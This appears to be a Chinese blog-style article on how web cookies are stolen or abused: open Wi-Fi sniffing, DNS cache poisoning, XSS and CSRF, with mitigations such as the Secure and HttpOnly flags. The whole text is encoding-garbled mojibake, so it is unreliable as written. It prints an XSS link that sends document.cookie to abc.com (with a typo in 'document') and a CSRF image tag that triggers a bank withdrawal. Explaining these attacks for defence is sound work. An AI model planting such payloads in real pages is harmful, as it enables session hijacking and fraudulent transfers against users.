ÍøÂçÉϵÄÁ÷Á¿¿ÉÒÔ±»ÍøÂçÉÏÈκμÆËã»úÀ¹½Ø£¬ÌرðÊÇδ¼ÓÃܵĿª·ÅʽWIFI¡£ÕâÖÖÁ÷Á¿°üº¬ÔÚÆÕͨµÄδ¼ÓÃܵÄHTTPÇåÇóÉÏ·¢ËÍCookie¡£ÔÚδ¼ÓÃܵÄÇé¿öÏ£¬¹¥»÷Õß¿ÉÒÔ¶ÁÈ¡ÍøÂçÉϵÄÆäËûÓû§µÄÐÅÏ¢£¬°üº¬HTTP CookieµÄÈ«²¿ÄÚÈÝ£¬ÒÔ±ã½øÐÐÖмäµÄ¹¥»÷¡£±ÈÈ磺À¹½ØcookieÀ´Ã°³äÓû§Éí·ÝÖ´ÐжñÒâÈÎÎñ£¨ÒøÐÐתÕ˵ȣ©¡£
½â¾ö°ì·¨£º·þÎñÆ÷¿ÉÒÔÉèÖÃsecureÊôÐÔµÄcookie£¬ÕâÑù¾ÍÖ»ÄÜͨ¹ýhttpsµÄ·½Ê½À´·¢ËÍcookiesÁË¡£
DNS»º´æÖж¾Èç¹û¹¥»÷Õß¿ÉÒÔʹDNS»º´æÖж¾£¬ÄÇô¹¥»÷Õ߾ͿÉÒÔ·ÃÎÊÓû§µÄCookieÁË£¬ÀýÈ磺¹¥»÷ÕßʹÓÃDNSÖж¾À´´´½¨Ò»¸öÐéÄâµÄNDS·þÎñh123456.Ö¸Ïò¹¥»÷Õß·þÎñÆ÷µÄipµØÖ·¡£È»ºó¹¥»÷Õß¿ÉÒÔ´Ó·þÎñÆ÷ h123456. ·¢²¼Í¼Æ¬¡£Óû§·ÃÎÊÕâ¸öͼƬ£¬ÓÉÓÚ ºÍh123456.ÊÇͬһ¸ö×ÓÓò£¬ËùÒÔä¯ÀÀÆ÷»á°ÑÓû§µÄÓëÏà¹ØµÄcookie¶¼»á·¢Ë͵½h123456.Õâ¸ö·þÎñÆ÷ÉÏ£¬ÕâÑù¹¥»÷Õ߾ͻáÄõ½Óû§µÄcookie¸ãÊÂÇé¡£
Ò»°ãÇé¿öÏÂÊDz»»á·¢ÉúÕâÖÖÇé¿ö£¬Í¨³£ÊÇÍøÂ繩ӦÉÌ´íÎó¡£
¿çÕ¾µã½Å±¾XSSʹÓÿçÕ¾µã½Å±¾¼¼Êõ¿ÉÒÔÇÔÈ¡cookie¡£µ±ÍøÕ¾ÔÊÐíʹÓÃjavascript²Ù×÷cookieµÄʱºò£¬¾Í»á·¢Éú¹¥»÷Õß·¢²¼¶ñÒâ´úÂë¹¥»÷Óû§µÄ»á»°£¬Í¬Ê±¿ÉÒÔÄõ½Óû§µÄcookieÐÅÏ¢¡£
Àý×Ó£º
<a href="#" onclick=`window.location=http://abc.com?cookie=${docuemnt.cookie}`>ÁìÈ¡ºì°ü</a>
µ±Óû§µã»÷Õâ¸öÁ´½ÓµÄʱºò£¬ä¯ÀÀÆ÷¾Í»áÖ´ÐÐonclickÀïÃæµÄ´úÂ룬½á¹ûÕâ¸öÍøÕ¾Óû§µÄcookieÐÅÏ¢¾Í»á±»·¢Ë͵½abc.com¹¥»÷ÕߵķþÎñÆ÷¡£¹¥»÷ÕßͬÑù¿ÉÒÔÄÃcookie¸ãÊÂÇé¡£
½â¾ö°ì·¨£º¿ÉÒÔͨ¹ýcookieµÄHttpOnlyÊôÐÔ£¬ÉèÖÃÁËHttpOnlyÊôÐÔ£¬javascript´úÂ뽫²»ÄܲÙ×÷cookie¡£
¿çÕ¾ÇëÇóαÔìCSRFÀýÈ磬SanShao¿ÉÄÜÕýÔÚä¯ÀÀÆäËûÓû§XiaoMing·¢²¼ÏûÏ¢µÄÁÄÌìÂÛ̳¡£¼ÙÉèXiaoMingÖÆ×÷ÁËÒ»¸öÒýÓÃShanShaoÒøÐÐÍøÕ¾µÄHTMLͼÏñÔªËØ£¬ÀýÈ磬
<img src = "http://www.bank.com/withdraw?user=SanShao&amount=999999&for=XiaoMing" >
Èç¹ûSanShaoµÄÒøÐн«ÆäÈÏÖ¤ÐÅÏ¢±£´æÔÚcookieÖУ¬²¢ÇÒcookieÉÐδ¹ýÆÚ£¬(µ±È»ÊÇûÓÐÆäËûÑéÖ¤Éí·ÝµÄ¶«Î÷)£¬ÄÇôSanShaoµÄä¯ÀÀÆ÷³¢ÊÔ¼ÓÔظÃͼƬ½«Ê¹ÓÃËûµÄcookieÌá½»Ìá¿î±íµ¥£¬´Ó¶øÔÚδ¾SanShaoÅú×¼µÄÇé¿öÏÂÊÚȨ½»Òס£
½â¾ö°ì·¨£ºÔö¼ÓÆäËûÐÅÏ¢µÄУÑ飨ÊÖ»úÑéÖ¤Â룬»òÕßÆäËû¶ÜÅÆ£©¡£
Èç¹ûÄãϲ»¶ÎÒÃǵÄÎÄÕ£¬¹Ø×¢ÎÒÃǵĹ«ÖںźÍÎÒÃÇ»¥¶¯°É¡£
¡¡